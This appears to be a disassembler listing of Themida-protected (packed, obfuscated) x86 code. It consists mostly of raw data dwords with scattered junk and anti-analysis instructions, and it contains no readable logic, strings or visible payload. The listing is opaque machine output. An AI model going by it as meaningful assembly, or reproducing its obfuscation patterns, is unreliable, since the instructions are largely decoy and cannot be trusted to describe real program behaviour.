		dd 0C3554500h, 5A6E3A9Ah, 8D0FDFEDh, 4,	0D676BF66h, 8B044689h
		dd 141B9D9Dh, 0EE95006h, 6B000000h, 767A3BAh, 7C6BAB21h
		dd 1B886B37h, 24348938h, 2DBD01h, 0B5FF0614h, 617A7E2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F8C35242h
		dd 6185315Fh, 68061431h, 0DEDA789Ah, 0A5EAEEBFh, 2404811Ah
		dd 21448B65h, 0FB18529h, 8D890614h, 6142BA1h, 0A7EA858Dh
		dd 8D890617h, 61412A1h,	8957B350h, 0CB812404h, 11B4C586h
		dd 89D95FFh, 0BD890614h, 6141059h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0EE29ACD3h
		dd 0AC2A32FDh, 0D3806136h, 3D85C76Fh, 3061401h,	83000000h
		dd 17A7EABDh, 840F0006h, 2Bh, 3FE9FC8Ah, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B227C357h, 0B7E72C2Ah, 50FA8B66h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D82BDEC3h
		dd 6A223FD8h, 51EC7F13h, 7A19D03h, 8B5B0614h, 1410AD9Dh
		dd 3DBD8306h, 3061401h,	45C850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F0CAD4C3h
		dd 8ECD974Bh, 0BD89C336h, 6140481h, 0A7EABD83h,	0F000617h
		dd 42584h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 64F17773h, 0E0126F03h, 0BE8CE0Ah
		dd 35000000h, 0C7862BACh, 3078802Dh, 9501233Ch,	6140AE1h
		dd 0EAB5FF5Fh, 30617A7h, 140EBD9Dh, 3995FF06h, 6A061403h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0FE47C356h, 0EC9E1995h, 7E9472Dh,	24000000h
		dd 0DA7DB862h, 0BB666F09h, 0B58BB808h, 617A7DEh, 6C7FB8Bh
		dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	8AC35040h, 8589A517h, 61423C9h,	0C5EFBB96h, 605036F0h
		dd 5250F38Bh, 5250310Fh, 585A310Fh, 9661585Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 53C35545h, 5800FD9h
		dd 0BF000000h, 277568D0h, 0A7EAB5FFh, 0FFF50617h, 14108195h
		dd 0E5958906h, 8B061409h, 17A7DEB5h, 0F9858B06h, 8B06140Fh
		dd 140F1DBDh, 0C4868906h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9624C351h
		dd 8BCC1B6Ch, 142B6995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 40F4E831h, 993B2CDEh
		dd 11E9h, 73637500h, 91435F2Bh,	9457BB83h, 48AD956Ah, 0C283B165h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 4DBD2BDCh, 89061400h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F0FBF7C3h
		dd 1A8D7A92h, 0BC23858Dh, 870F0617h, 0Fh, 0AE9h, 6535F900h
		dd 0D11384DCh, 9886214h, 14254DB5h, 0B8868906h,	0F000000h
		dd 684h, 6FDB8100h, 6A28317Eh, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 538BC46Bh
		dd 277DDFA7h, 0D88BA2A8h, 0A7EAB5FFh, 9D8B0617h, 6142AB9h
		dd 33AD95FFh, 0BF0F0614h, 0E85096D8h, 10h, 5BD74A33h, 66F1A996h
		dd 0F40401E2h, 6AD8FD4Ch, 92CEBF52h, 5F5F3DA0h,	52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0C8D0F3Dh, 0F000000h, 683h, 8B0F00h,	31000000h, 141CCD8Dh
		dd 0EAB5FF06h
		dd 6A0617A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0A72AC350h, 2A763F0Ch,	0BD8B8848h
		dd 614130Dh, 7E8h, 468A1B00h, 697FE39h,	12259D8Bh, 0FF5F0614h
		dd 14230995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0F9D954F5h, 2959D8Bh, 0BD830614h
		dd 6141189h, 2A840F00h,	0BF000000h, 5847BD37h, 7BF6650h
		dd 24348993h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	9AC35040h, 0EAB5FFA0h, 6A0617A7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F98AC350h
		dd 2D595FFh, 9D8B0614h,	6141705h, 0A7EAB5FFh, 85890617h
		dd 6141059h, 0B7595FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 4852EFC3h, 9D8BB4C0h
		dd 61422F1h, 3870Fh, 8B660000h,	0BD83F9DFh, 614112Dh, 6A840F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0F93BC357h, 0FB685E3h,	84h, 0F18D0100h
		dd 8B061406h, 14005585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0EEB14879h, 9888F2D5h
		dd 0C64DF7h, 5E900h, 0FB030000h, 8BB1277Ch, 141CE9BDh
		dd 4985C706h, 6141Eh, 66000000h, 6EE9FE8Bh, 6AFFFFF3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0DEAEC357h, 9589CD32h, 6141E9Dh, 2BD1BD8Bh
		dd 0C18B0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	84C35141h, 16C58D29h, 8D8D0614h, 61946F1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A0C35343h, 3D08260Ch
		dd 11E9E071h, 8E000000h, 6628BD37h, 0BA74FB3Bh,	0BE2D0DF6h
		dd 2AFE0244h, 2B698D89h, 85890614h, 61425BDh, 105585C7h
		dd 73C40614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0AB3E6BC3h, 503F560Eh, 75B50368h
		dd 0E906142Ch, 0Bh, 69689537h, 5D92254Ah, 0C78DB270h, 14013D85h
		dd 6, 13E900h, 8F90000h, 91792896h, 975AB879h, 867FAD82h
		dd 2C7F53A3h, 15B5FFEAh, 6A06140Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 9A01C352h
		dd 6820FA6Eh, 0A1B5894Ah, 0FF061419h, 140BD995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0DF81E92Ah, 7173D23Ch, 230DB589h, 6A0614h, 297195FFh
		dd 0C08B0614h, 71465FEBh, 2D2B69DBh, 5497CCDCh,	0AFF823B3h
		dd 63DB4349h, 8FBC7BF9h, 346C0959h, 0FE295C82h,	49A9DE07h
		dd 60021E75h, 4F16274Bh, 7A3E587Ah, 0BBCD72A1h,	7F3250C9h
		dd 9A895DB5h, 0A52A0566h, 906A21E4h, 2941C635h,	1E310BE9h
		dd 0AE9AC166h, 5A67C091h, 0F50B0D3Ch, 73B32479h, 0A0A75E7Bh
		dd 0FB8D8DA1h, 6A061947h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 8A97C356h, 2826ACBAh
		dd 0CFC88169h, 897FF06Ah, 142B698Dh, 0DD950B06h, 0C706140Bh
		dd 14105585h, 712806h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0AFC87E0Eh, 6E8E959h
		dd 0E6000000h, 197D7190h, 0B2B86636h, 85C75E5Fh, 614013Dh
		dd 0
; ---------------------------------------------------------------------------
		jge	loc_5D237C
		mov	[ebp+6142D5Dh],	ecx


loc_5D237C:				; CODE XREF: Themida_:005D2370j
		push	dword ptr [ebp+6142389h]
		mov	[ebp+6142045h],	edx
		call	dword ptr [ebp+6140BD9h]
		mov	edx, ebx
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5D23B8
; ---------------------------------------------------------------------------
		dd 181AD098h, 31971FC7h, 3881ECF2h, 8D9E48A0h, 25083EF6h
		dd 513DA8E8h, 50CB1C6Ch
; ---------------------------------------------------------------------------


loc_5D23B8:				; CODE XREF: Themida_:005D239Aj
		insb
		sbb	eax, 120607AFh
		and	al, 88h		; CODE XREF: Themida_:005D2430j
		mov	esi, 87152083h
		jz	short near ptr dword_5D1F90+3DFh
		fldcw	word ptr [eax]
		push	es
		and	al, 1
		pusha
		xchg	eax, ebp
		jecxz	short loc_5D2425
		xchg	eax, ebx
		retf
; ---------------------------------------------------------------------------
		dw 0EE93h
; ---------------------------------------------------------------------------
		dec	edi
		retf	7940h
; ---------------------------------------------------------------------------
		dd 4064EF08h, 56F4D65h,	0A97FEBA5h, 81A01D85h, 802412C1h
		dd 63480BABh
; ---------------------------------------------------------------------------
		push	ss
		sti


loc_5D23F2:				; CODE XREF: Themida_:005D242Ej
					; Themida_:005D2432j
		sub	[ecx], eax
		sbb	[edx], dl
		outsd
		fldcw	word ptr cs:[ebx]
		xchg	ebp, ds:6A848308h
		nop
		scasb
		retn
; ---------------------------------------------------------------------------
		db 82h
		dd 15243B3Ch, 852B12C6h, 124124Fh, 12544D9h, 53247818h
		dd 12411E4h, 0C27E3206h, 25709B59h
		db 85h
; ---------------------------------------------------------------------------


loc_5D2425:				; CODE XREF: Themida_:005D23CEj
		xchg	eax, ebx
		pusha
		and	eax, 12407C4h
		pusha
		push	eax
		jbe	short loc_5D23F2
		jnz	short near ptr loc_5D23BE+1
		jz	short loc_5D23F2
		lahf
		xchg	ebx, [ecx+0Eh]
		push	esi
		cdq
		mov	ecx, 220604ECh
		xchg	eax, ecx
		jmp	far ptr	74B4h:81012419h
; ---------------------------------------------------------------------------
		db 0A8h
		dd 73B2A03Bh, 8E6BC37Ch, 589F7460h, 14E82E1h, 127FA5Fh
		dd 5A041206h, 5DAD49C0h, 45A516A5h, 13E16E4h, 52671260h
		dd 539140F3h, 54D446BEh, 12CD07BEh, 5A241206h, 11060FBCh
		dd 49FA564Bh, 138470BCh, 64A462BBh, 2B2649h, 0E8DA3654h
		dd 124120Ah, 31471670h,	827C0F72h, 872B3E41h, 12412C6h
		dd 0B8C1F8E1h, 9AF0EDFh, 49AF74E1h, 12CFBF0h, 0D9ED1206h
		dd 0AC8CEA95h, 804223DCh, 0EDB24F9h, 12473E4h, 10999B30h
		dd 82220615h, 9C171BCDh, 7300B8Bh, 0ECD2B83h, 1249004h
		dd 40A13BC0h, 0E8220662h, 1241220h, 8B9264BBh, 0CE02BF9Fh
		dd 5ABAFC3Eh, 71F37B4Ch, 2825530Ah, 152A4B75h, 8AEC1166h
		dd 15239BA5h, 4E5911Eh,	1279103h, 0BE2B1206h, 911D93DAh
		dd 0EAF51CAh, 1242C45h,	0C7A57460h, 8CA9EE80h, 7305FE7h
		dd 2AF59F85h, 29C1412h,	0F4241203h, 14EF37Eh, 127FA91h
		dd 58041260h, 4DAD4BF3h, 45A5163Ch, 1331628h, 50651206h
		dd 15449C0h, 0FC919B93h, 602206EDh, 0E8FCAD6Fh,	1241235h
		dd 0D1835CDDh, 1D999FDFh, 8C220B4Eh, 186DEB8Eh,	8250AA87h
		dd 84171352h, 7300939h,	0E8E5DD1Bh, 7AF1D6Ch, 88241206h
		dd 152083BEh, 0D9A87487h, 1240628h, 55E39560h, 5E98393h
		dd 0C08BA4F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	29C35747h, 57006A21h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BA66EAD1h, 958B981Eh
		dd 6140AADh, 8D8DC38Bh,	6194B24h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E4C35343h,	820F3220h, 0Ch
		dd 6860Fh, 95090000h, 6141B29h,	0B5D78166h, 698D89C4h
		dd 8B06142Bh, 1424BDBDh, 5585C706h, 54061410h, 8B00006Dh
		dd 141DB5BDh, 3D85C706h, 61401h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 8537C356h
		dd 0E8C1652h, 0FEB70F31h, 0B5FFFB8Bh, 61411C9h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A2C35646h, 0B70F2F22h
		dd 7DB531D6h, 0FF061408h, 140BD995h, 4BE6606h, 0FF006A97h
		dd 14297195h, 0EBC08B06h, 9376E61Fh, 0C20CFC19h, 759392ABh
		dd 81C1AFA0h, 0CED18DBBh, 0E0E78FAAh, 1F342789h, 8390887Ah
		dd 62EBFF0h, 0B8ABB048h, 487095Bh, 3C17099h, 3A8585Eh
		dd 5C8BB084h, 7F22EF81h, 472AB405h, 3BCB4B4h, 54ECB048h
		dd 0D34A31E7h, 0E2E819Fh, 80ADA409h, 17BB4139h,	0ADEB044h
		dd 0D8E0DA2h, 77ABB684h, 88F8E051h, 7A808E4h, 8622B012h
		dd 5BFA810h, 0A4F92D09h, 0D054B654h, 0BE28E87Ah, 5BFBEB5h
		dd 53BCC448h, 7A80877h,	8622B012h, 5BFA810h, 0A7EA2D09h
		dd 0D054B654h, 0DB20E87Ah, 3A9329Fh, 0F021B048h, 78F96B9Dh
		dd 963E3916h, 88ADA40Fh, 53ABDA44h, 3ABB3AAh, 0C0F39021h
		dd 27EF39C8h, 27EF314Ch, 3ABAC20h, 0C0FBF012h, 257DA605h
		dd 1DF36A26h, 462E998Dh, 65ADA434h, 9E98681Ch, 5BFAB55h
		dd 87A4B48Ch, 3ABB407h,	3AE3E06h, 82CDB084h, 803CED89h
		dd 17AB999Ch, 87A4B096h, 3ABB067h, 0EBFCB04Eh, 3ABB011h
		dd 5C68EF29h, 78FCC0Dh,	78FF4C3h, 3ABB037h, 9F68E7D7h
		dd 0BEA23E48h, 5BF9A19h, 3A864FBh, 0EA263B09h, 0BDADA4A6h
		dd 1AB9742h, 8EDA7FA1h,	14C01615h, 54ABDA4Eh, 3ABB3CCh
		dd 0C0F49012h, 27D73956h, 27EF3180h, 3ABA446h, 0C0FCF721h
		dd 0C914BF0Ah, 73A3DC3h, 0D354B630h, 0EBF8B078h, 3ABB00Ah
		dd 5868EBA4h, 78FECCBh,	78FF4A0h, 3ABB08Ah, 5C68E30Bh
		dd 0F0D046D4h, 0F42A6383h, 8AEB53Fh, 0D6A2D0Fh,	88CDB656h
		dd 0C6B35FEh, 3AB2514h,	7A269948h, 82ADA423h, 82CDE72Ah
		dd 292EBFF2h, 0EBABB084h, 3ABB04Bh, 468312BDh, 2524B3D4h
		dd 0DA20D611h, 7B2AD67Bh, 0CA9B216h, 3A8D58Dh, 12163984h
		dd 20ADA469h, 1781A1B4h, 3B2AD696h, 86A4D0D4h, 3ABB06Ah
		dd 0EBFEB078h, 3ABB00Ah, 5E68EDA4h, 78FDCCBh, 78FF4A0h
		dd 3ABB087h, 5968E50Dh,	88037576h, 17B03D87h, 1D3300Fh
		dd 1C2EBF6Ch, 65ABB042h, 65B2219Bh, 3ADC811h, 0C2EBFE3h
		dd 88ABB024h, 0A359DCh,	8EA8B009h, 5BFA745h, 31567C9h
		dd 69EDB120h, 43E790h, 23ABB048h, 8AF4737Bh, 82AF946Eh
		dd 14AF944Dh, 44ABB084h, 7DA57315h, 0B6221FE9h,	5BFB361h
		dd 0E9105BF3h, 0A52E3D49h, 8AADA779h, 17B1058Ch, 0EB7B4F82h
		dd 3ABB044h, 5E91B3E0h,	0B622D1F8h, 5BFBBADh, 0C6B357Bh
		dd 3A9C496h, 0D420D609h, 3ECD8805h, 86A4B240h, 3ABB01Ch
		dd 56F2012Bh, 5D33149h,	79F48D42h, 123341Dh, 3C1B009h
		dd 3A858D5h, 5A8BB042h,	4F22E9E2h, 472AB4B4h, 3BEB46Ch
		dd 52EAB024h, 8844CED1h, 0BA3E3BC6h, 8AADA483h,	17B491D7h
		dd 3B2AD627h, 86A4D00Ch, 3ABB085h, 0EBF9B04Eh, 3ABB011h
		dd 5968EA29h, 78FE40Dh,	78FF4C3h, 3ABB035h, 0E768E2D2h
		dd 3ABA3A1h, 6D9DF324h,	3D7FC2CCh, 0BEFD3C57h, 1801E275h
		dd 0CDA94450h, 0EBA9C8A1h, 324359Fh, 3C1B048h, 3A85871h
		dd 5E8BB012h, 6F22EDCAh, 472AB4A0h, 3B3B466h, 56EEB021h
		dd 922EA453h, 0F02B54A5h, 7B2AD6C0h, 0C6BB014h,	3ABD08Ch
		dd 52ABDA84h, 3ABB3AAh,	0C0F29021h, 27E739C9h, 27EF314Ch
		dd 3ABA920h, 0C0FAF112h, 0D13BC144h, 104238A5h,	39ABB042h
		dd 8195802Bh, 79D03F9Eh, 0A2AC57B4h, 5EE0B651h,	0D41C0B5Dh
		dd 3AA15E0h, 55ABDA84h,	3ABB3AAh, 0C0F59021h, 27DF39CEh
		dd 27EF314Ch, 3ABA820h,	0C0FDF612h, 30CF5104h, 2AB0EF9h
		dd 3C1CE43h, 3A85872h, 588BB090h, 5F22EB8Bh, 472AB400h
		dd 3BFB436h, 50E8B009h,	0D7212B47h, 3A83D4Dh, 0D62BB021h
		dd 0A52E3DE9h, 0EAADA723h, 3ABB02Ch, 0D42E9A77h, 9F83D375h
		dd 3C1607Bh, 3A85814h, 5D8BB021h, 7722EE53h, 472AB46Ch
		dd 3B7B400h, 55EDB012h,	0F5C0E5CAh, 0C7018598h,	0C32EA1AAh
		dd 348342Eh, 88CDB090h,	0BE3E9BB1h, 83ADA401h, 86A4582Ah
		dd 3ABB051h, 6D3307Dh, 4E2EBF31h, 69ABB021h, 43E190h, 23ABB048h
		dd 8AF2737Dh, 82AF945Eh, 1EAF944Dh, 42ABB084h, 0D3637313h
		dd 9CEF218Bh, 617E6ECBh, 50ACC8C8h, 367342Bh, 3C1B012h
		dd 3A85858h, 5A8BB084h,	4F22E981h, 472AB405h, 3BFB4B4h
		dd 52EAB048h, 5C1952E7h, 8C933174h, 6D2EBF0Ch, 88ABB084h
		dd 17A621FFh, 5D33027h,	5D2EBFF8h, 69ABB048h, 43E524h
		dd 23ABB012h, 8AF67354h, 82AF94E8h, 1FAF9406h, 46ABB021h
		dd 73E173C5h, 432EEDD1h, 8283095Dh, 215C4FE3h, 7B2AD63Fh
		dd 0C8E4F8Fh, 3AB98C7h,	50ABDA21h, 3ABB378h, 0C0F09048h
		dd 27F7397Fh, 27EF3116h, 3ABA50Dh, 0C0F8F384h, 3842B387h
		dd 82ABB021h, 5C26B761h, 2A6B9B57h, 17ABA5A9h, 3985914h
		dd 3C1B009h, 3A858D7h, 588BB042h, 5F22EBE2h, 472AB4B4h
		dd 3B1B46Ch, 50E8B024h,	2808AED1h, 0E3908526h, 0E711D6D3h
		dd 213EA00h, 88ABB021h,	17BBE91Dh, 93FB204Eh, 0DE268344h
		dd 8AADA40Ch, 17B535BCh, 0BE26D182h, 5B2FB0Ah, 53313DACh
		dd 2013B689h, 0DCD61Dh,	17BC79A1h, 0C2649B14h, 4302AB0Eh
		dd 7203C1CEh, 9003A858h, 8B588BB0h, 5F22EBh
		dd 36472AB4h, 0E983BFB4h, 58A4F305h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 6AC35343h, 0F1C6E5A4h, 0A9BD8B05h
		dd 8B061404h, 1407119Dh, 0BE906h, 0EA300000h, 5C9807E8h
		dd 5144239Fh, 0FC00B75h, 2884h,	8D9D8900h, 8D06141Bh, 144DFFB5h
		dd 0DDBD8906h, 8B06141Bh, 14024D95h, 3B806h, 8B660000h
		dd 81E6FFFEh, 0F8B0B5D3h, 0DEB5405Ch, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6A2CFFC3h, 7712847Dh, 850F2D96h, 2, 0EDBFDA8Ah, 8340A679h
		dd 1410F1BDh, 9750006h,	0E25BD83h, 74000614h, 8B535019h
		dd 403B8C0h, 85890000h,	61424F1h, 0A7B99D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6140E25h, 50177400h, 403B853h, 85890000h
		dd 61424F1h, 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FBD90FC3h
		dd 0B1135B02h, 50006AF5h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F68CFE8Ch, 8BD066FFh
		dd 61C08BFAh, 0FE9h, 12186B00h,	2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D3350
; ---------------------------------------------------------------------------
		db 6Eh,	5Eh, 23h
; ---------------------------------------------------------------------------
		fild	word ptr [eax+3Fh]
		dec	esi
		retf	325Dh
; ---------------------------------------------------------------------------
		db 77h
		dd 9F1634B3h, 80FD0C9Bh, 6DD5FF7Ch, 40DF235Eh, 59C64A43h
		dd 31AE722Dh, 0FD989C0Fh, 0C012218Eh, 629155E9h, 0D2F48BBEh
		dd 0AEDCA3DBh, 5F43C7F7h, 720406D5h, 0A92D5D50h, 0DBF77685h
		dd 0E62CA8A0h, 0ED1F55C6h, 19FFC68Eh, 0EFA44456h, 0EC1097C1h
		dd 275A6926h, 0B94244E3h, 10981A3Bh, 413C4A8Ah,	85A9CD49h
		dd 48470675h, 0C3E7A2AEh, 22689A31h, 0F031B685h, 0D15ECD53h
		dd 53F03662h, 55799DE1h, 74295A25h, 40570044h, 888CFF01h
		dd 0EAFF31Fh, 53F03633h, 7EBFCCB0h, 53F036C3h, 54D8FC40h
		dd 0E1A45127h, 60B1398Dh, 2DD1FD92h, 4D7D611Ch,	9848FDEh
		dd 26636EF1h, 918EB216h, 880C3C6Fh, 0FDB8D58Ah,	1A97B2CDh
		dd 346F9DE2h, 69678004h, 5EBD1A32h, 6DCCF337h, 0D0CBC706h
		dd 0FAB1D34Ch, 0FE0351C2h, 18AEFB5h, 0DAFEB3D2h, 0B3413C4Dh
		dd 0F07A78C2h, 702D5A53h, 0FF4AEB58h, 7453F07Ah, 82F91710h
		dd 5AB1DE8Ah, 50A748D0h, 9574DC02h, 7CFA85h, 1C8F0000h
		dd 0F04EA093h, 0C05F2353h, 55B1C9C4h, 656755DFh, 9AA70636h
		dd 9953F092h, 0C37EBF2Ah, 4053F092h, 0D36ECFFCh, 5053F092h
		dd 325926ECh, 948CFA20h, 18485h, 67100000h, 94073766h
		dd 0A06B8D5h, 0F2A96B8Fh, 0DF6ACBD1h, 5453F092h, 0A3BCCCF0h
		dd 0BADEEEA5h, 87BB6DDh, 0F0929CAFh, 0FB241753h, 53F09248h
		dd 0D12347CBh, 9094093Ah, 8286F517h, 0CA797B09h, 6649B1D2h
		dd 6867AAACh, 497A0535h, 45F22454h, 5A6CF32Eh, 0D491CD23h
		dd 83C75ABAh, 4ABDA71h,	3E886A21h, 0BF43677Ch, 5F6F1E20h
		dd 70880500h, 92AAE1EFh, 81B58421h, 4ACE53F0h, 0D8F0ABDDh
		dd 89B8DF80h, 8C08007Bh, 7B927D68h, 949EC17Fh, 5B3D85h
		dd 67FB0000h, 7A053568h, 1E3A524Fh, 1C2B5AB1h, 3029D61h
		dd 0D63CB99h, 0DA0F09C8h, 0F0B2A093h, 0C05F2353h, 56B2CAC3h
		dd 47451A32h, 26233C4Ch, 0C3C7994h, 0B546488h, 0E8981FCh
		dd 6742C82Fh, 0AB4191F8h, 2B8594AAh, 28h, 35686781h, 534E7A05h
		dd 0A9C00F3Bh, 0F2366B9Ah, 37666720h, 92A4A607h, 0F69953F0h
		dd 8C8D539Fh, 1298594h,	87000000h, 42C36C67h, 6C42EBFEh
		dd 2E9B8799h, 0DC678B38h, 0CDFF80B8h, 0F532ADDEh, 53F0CC46h
		dd 0BBB79DDh, 746AD8Ch,	0F58D910Ch, 0C58D9214h,	24FAB5D1h
		dd 4A79C059h, 0BFA32757h, 87C7609Bh, 7849DC8Dh,	3355DDEFh
		dd 0A0C44078h, 0F0082CA8h, 1D2E5D6Fh, 8BBC424Eh, 6C24EE12h
		dd 1BF1491Fh, 0E0D23B42h, 504B7D12h, 0B944F938h, 4F55E4h
		dd 1B3736E9h, 26EC6860h, 0E0245769h, 4CAADDABh,	45971E8Fh
		dd 0BFEE10CFh, 79A6118Ch, 55E4DECAh, 0B584C549h, 0CE55E4DEh
		dd 45F4314Ah, 0DE55E4DFh, 9F0CB87Ah, 44CEBFC0h,	0F6067597h
		dd 2D5CB3C0h, 0EF9C601Bh, 33B7290h, 3FED8D87h, 9F8BA8D9h
		dd 1F6E3AC9h, 45CFD088h, 149BAh, 61807600h, 2514910Ch
		dd 0BE53F092h, 92A093DAh, 7A8853F0h, 0A7CB4F03h, 26223994h
		dd 2C61B56Bh, 186A434Ah, 0D39B9B1Ah, 70D449DCh,	64050758h
		dd 0F33C3072h, 55E49940h, 3AA97FC3h, 45C9EDB4h,	0C6F5A8DAh
		dd 1F158887h, 0FFAED0AFh, 272619CFh, 0C3477726h, 443AA31h
		dd 5F4E7002h, 0A4C8C5C0h, 2A26F460h, 0E0708BA9h, 555761FCh
		dd 65060C0Fh, 3Fh, 5F56730Ah, 658053D5h, 0EA71EC1Fh, 6E6FA5D8h
		dd 0D3F092B3h, 4FBCCCB0h, 629A1330h, 9DFD30E6h,	7750A6D4h
		dd 1D0130BDh, 0A12ED3F0h, 4309DC4Ah, 1D3CEF48h,	533753F0h
		dd 981DCFh, 809B0000h, 47E01B61h, 49DC6A83h, 57E0EB74h
		dd 85E33572h, 0C30544Dh, 2F5E60FFh, 0A3DBD2F0h,	8ED1ED27h
		dd 91F6F37Ch, 0E94B3A57h, 0A4A641C5h, 0EC50D1E9h, 0CE55E401h
		dd 0B5CAC2BFh, 0B9ED1D98h, 0DF33F71Eh, 182A59B0h, 0E326F9Eh
		dd 1D6B7A0Ah, 0C6E573EEh, 0B0AA6354h, 0F404798Ah, 37A66C90h
		dd 4FCDB977h, 60D35CCFh, 0E35FDD79h, 70C36C9Fh,	0F35FDD79h
		dd 197D858Fh, 316C9EE1h, 1083BE19h, 0DD79A497h,	0CC5B3F5Fh
		dd 0AB30C2BBh, 7503E244h, 0CB19D946h, 76DA45F4h, 618060B2h
		dd 9290A30Ch, 2F1353F0h, 0CF85F00Bh, 14C04E7h, 5D58DA26h
		dd 49D92F9Dh, 0CA79A611h, 4955E9F3h, 573B4FC5h,	6E292524h
		dd 8C38FA5Eh, 56DAD1F3h, 0B4C4B7C9h, 0F2436475h, 0D5C6FAAh
		dd 0F8B83FEh, 0F00F6605h, 6B2224CEh, 2224C347h,	0C200506Bh
		dd 3432E123h, 2C9F2FE5h, 0A1732E5Dh, 0AAA1DCEAh, 0C1F9B4D3h
		dd 0ED118CBEh, 0D008727h, 38504D7Eh, 628956DCh,	0A66A2123h
		dd 64940739h, 856h, 1F8CDC00h, 0CA484540h, 34676740h, 52497B04h
		dd 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h
		dd 306D98E7h, 57464718h, 89501F27h, 405E0h, 0E8830000h
		dd 24048704h, 2414895Ch, 141D68h, 24148900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 50241C89h, 0AF7D07B8h, 0C1D8F77Eh
		dd 0C13503E0h, 510C9D45h, 0CA89C189h, 8B545859h, 0C483241Ch
		dd 23BF6804h, 14890000h, 8438F24h, 52241C8Bh, 0C281E289h
		dd 4, 8704C283h, 8B5C2414h, 89562414h, 4C681E6h, 83000000h
		dd 348704C6h, 35E95C24h, 3AFFFB29h, 0FC5D66A2h,	549F3790h
; ---------------------------------------------------------------------------


loc_5D3350:				; CODE XREF: Themida_:005D2DA0j
		mov	eax, 619572Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 28h,	92h, 0E9h
		dd 0CBE5546Ah, 0B177C235h, 2A9CA320h, 12E819h, 115E0000h
		dd 84A68266h, 0CBECDC4Dh, 7DF52700h, 25FBEA75h,	8AFEE381h
		dd 805F579Dh, 0C781EBD7h, 7156h, 800FC033h, 2, 148BCA8Bh
		dd 0DF8B6607h, 194AC281h, 0BE6620EBh, 0EA81BF98h, 35DB8354h
		dd 24F281F9h, 601CDF91h, 4870Fh, 0BA660000h, 0CE85C54h
		dd 4C000000h, 0D267C826h, 89617AFEh, 5FC6FF96h,	7148961h
		dd 38B0Fh, 0B70F0000h, 11E9F6h,	5FBD0000h, 63E46FE5h, 0E62BCC50h
		dd 302468FAh, 81DB41C8h, 1C5317E8h, 0D6816614h,	0C081D2F6h
		dd 141C5313h, 8F78F881h, 850FFFFFh, 11h, 27E9h,	246FA500h
